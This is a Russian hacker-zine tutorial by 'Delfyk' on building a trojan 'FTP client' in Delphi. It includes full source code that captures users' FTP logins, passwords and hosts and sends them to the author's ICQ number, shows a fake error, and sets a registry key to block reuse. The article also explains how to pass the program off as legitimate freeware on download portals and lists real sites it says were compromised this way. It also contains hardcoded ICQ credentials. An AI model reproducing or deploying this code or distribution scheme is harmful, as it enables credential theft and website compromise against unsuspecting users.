------------------------------------------
#! /usr/share/doc/defaced/2/tandp/icqh.txt
------------------------------------------

################################################################################
################################################################################
################################################################################
################################################################################
################################################################################
###        ################   ######       ##############################  #####
###  #####  ##############  ######   #####   ############################  #####
###  ######  #############  #####  #########  ###########################  #####
###  #######  ####    ###     ##  ###      #  ####    #####    ######      #####
###  #######  ###  ##  ###  ####  ##  ##   ##  ##  ##  ###  ##  ####  ##   #####
###  #######  ##  ####  ##  ###  ##  ####  ##  #  #######  ####  ##  ####  #####
###  #######  ##  ####  ##  ###  #  #####  ##  #  #######  ####  ##  ####  #####
###  #######  ##        ##  ###  #  ####  ###  #  #######        ##  ####  #####
###  #######  ##  ########  ###  #  ####  ###  #  #######  ########  ####  #####
###  ######  ###  ####  ##  ###  #  ####  ##  ##  #######  ####  ##  ####  #####
###  #####  #####  ##  ###  ###  ##  ##   #  ####  ##  ###  ##  ####  ##   #####
###        #######    ####  ####  ##        ######    #####    ######      #####
#################################  ##########  #################################
##################################   ######   ##################################
####################################        ####################################
################################################################################
################################################################################
################################################################################
################################################################################
--------------------------------------------------------------------------------
                          Пароли с доставкой на ICQ ;)             [ by Delfyk ]
--------------------------------------------------------------------------------

                              -=[ Вступление ]=-

Всё  началось  с  того, что мне очень хотелось подефейсить сайты, да и в большом
количестве.  А  опыта и терпения было маловато. Вот просыпаюсь я однажды часов в
6.  Лежу  думаю...  Пытаюсь уснуть, а тут бах. В голову такая мысля пришла. Ведь
многие  пользователи  просто  не  задумываются  о  безопасности  своих паролей и
вбивают  их  куда  не  лень  :) Осталось только придумать систему получения этих
заветных  паролей.  И тут на помощь приходит Delphi. На нем легко и просто можно
изготовить псевдо FTP-клиент. Представьте только последовательность:

   1) Пользователь качает вашу программу.
   2) Вбивает туда свои пароли.
   3) Нажимает кнопку "Соединится".
   4) К вам приходят его пароли.
   5) А ему достается ошибка соединения ;)

Стоит  эту  схему  один  раз  наладить, и к вам будут приходить пароли как СПАМ.
Теперь,  количество  паролей  зависит  только  от  популярности  программы.  Что
нравится, читай дальше...

                        -=[ Изготовление программы ]=-

Устанавливаем на своё железо Delphi [у меня шестая версия этого продукта]. После
запуска вы увидите открывшуюся форму. Так вот самое главное! Её надо представить
как  симпатичную  FTP  программку  [умеющую только отправлять пароли]. Только не
говорите что вы никогда не видели нормального FTP-клиента.
На  форму  надо  повесить  как  минимум  два  больших окна [ShellListView], одно
скрытое  [visible=false]  окно  Memo,  несколько  кнопочек, и три поля Edit [для
логина,  пароля  и ftp сервера]. Отлично :) Так, и теперь надо скачать компонент
ICQClient  [для  того,  чтобы  пароли  приходили  прямо  на  Асю. Как говорится,
наглость  -  второе  счастье  :)],  лежит  он  на  www.cabans.net. Замечу, что к
компоненту  прилагается FAQ на русском языке, а также два примера. Один из них и
есть почти полноценный ICQ-клиент. Обязательно взгляните на него.
Пока  я  тут вводил ламеров в курс дела, вы уже установили компонент ? Отлично !
Теперь  откройте  свойства  компонента  TICQClient.  В  поле ICQServer и ICQPort
введите:

 login.icq.com - сервер.
 5190 - порт.

Помните  мы  там  создали  скрытое окно Memo? Сейчас надо сделать так, чтобы при
нажатии  на  кнопку  "Подключится"  все  данные  из  полей  Edit1, Edit2 и Edit3
добавились в скрытое окно [так легче отправлять сообщение]:

begin
pass.Lines.Clear;
pass.Lines.Add(edit1.Text); // Добавляем логин
pass.Lines.Add(edit2.Text); // Добавляем пароль
pass.Lines.Add(edit3.Text); // Добавляем имя ftp сервера
try // Пытаемся соединится с ICQ [для этого надо иметь свой ICQ номер]
ICQClient1.UIN:=337711222; // Указываем номер Аси
ICQClient1.Password:='gemoroy'; // Указываем пароль от Аси
ICQClient1.Login(0); // Соединяемся !!!
except // Если соединение не произошло
Showmessage('Интернет не подключен !'); // Выводим ошибку
end;
end;

Допустим,  что ошибки не было и юзверь подконнектился к вашему номеру ICQ. Тогда
остается  только  отправить  сообщение, содержащее пароли [у нас это окно Memo].
Жмем  по компоненту и выбираем вкладку "events" [события], ищем OnLogin, щелкаем
два раза и вводим следующую белиберду:

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
// Отправляем пароли на ICQ с номером 666999
ICQClient1.SendMessage( 666999, Memo1.Lines.Text);
try
// Здесь прописываем вынесение в реестр секретного ключа
// [не забудьте прописать в uses компонент registry]
reg:=tRegistry.create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('\Software\Outlook',true);
reg.WriteString('KILL','ON'); // Сам ключ
reg.free;
except
end;
Showmessage('Сервер не найден !'); // Нечто-типа ошибки соединения :)
end;

Для  чего  нужен секретный ключ в реестре, спросите вы... Да все для того, чтобы
при  запуске  программы  его проверять, если он там присутствует, тогда выводить
какую-нить  ошибку  и  закрывать программу. И тогда пользователь не сможет после
отправления  своих паролей запустить эту прогу еще раз. Ну, подумайте, зачем вам
одинаковые пароли :)
Так, я там говорил что программа будет проверять ключ при запуске, вот код:

procedure TForm1.FormCreate(Sender: Tobject);
var
statusftp: String;
begin
try
reg:=tRegistry.create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('\Software\Outlook',true);
statusftp:=reg.ReadString('KILL');
reg.Free;
except
end;
if statusftp = 'ON' then // Если ключ есть
begin // Тогда обламываем пользователя
MessageDlg ('Неизвестная ошибка по адресу $85F42D.', mtError, [mbOK], 0);
application.Terminate; // И выключаем программу
end;
end;

А  теперь  последнее.  Я описал, как подключится к ICQ и отправить сообщение, но
когда  юзверь попытается закрыть программу, то перед ним появится "Экран смерти"
[Синенький экран]. Почему ? Да все, потому что программа подсоединена к серверу,
а  какой-то  ламер  пытается ее закрыть. Исправляется эта ошибка элементарно. На
"events" закрытие программы вешаем код:

procedure TForm1.FormClose(Sender: TObject; var Action: TcloseAction);
begin
ICQClient1.LogOff;
end;

Вот и все! Особых усилий и не надо...

                         -=[ Раскрутка программы ]=-

С этим пунктом, я даже и не парился. Залил программу к себе на сайт www.site.ru,
за тем пошел на  www.download.ru  и  зарегистрировал её под видом FTP-клиента ;)
Всё получилось чики-пуки. Ко мне приходят ежедневно около 10 <!> паролей. Теперь
представьте, если ее раскрутить на:

www.soft.mail.ru/author/add.html
www.freesoft.ru/author/add.html
www.freeware.ru
www.shareware.ru
www.programms.ru
www.softvariant.ru

Этот  список  далеко не полный. Но чтобы пароли приходили десятками в день этого
хватит ;)

                         -=[ Кто-же на это клюнет]=-

Думаете на это мало кто попадется ? А вот и ошибаетесь ! Ко мне приходили пароли
от бесплатных хостингов, фирм, групп и даже корпораций, а это и есть гуд :))))))
Оказывается  необходимо тщательно продумать интерфейс, чтобы он, в свою очередь,
не вызвал подозрений. И описание проги должно быть качественным [без таких слов:
прога,  клёво,  рулез,  качай  скорей].  Вот  децельный список взломанных, таким
образом, сайтов:

www.parus.ru
www.obshepit.ru
www.tagnet.ru
www.nalog.perm.ru
www.azovmet.ru
nordcable.telemost.ru
www.sgt.ru
www.urisprom.ru

                              -=[ Заключение ]=-

Надеюсь,  вы  впитали всю эту чрезвычайно полезную информацию и готовы зачистить
интернет  от  такого  типа  ламеров  ;)  Удачного вам сбора паролей. И помните -
ЛАМЕРЫ это вымирающий вид юзверей :) Скоро их занесут в красную книгу...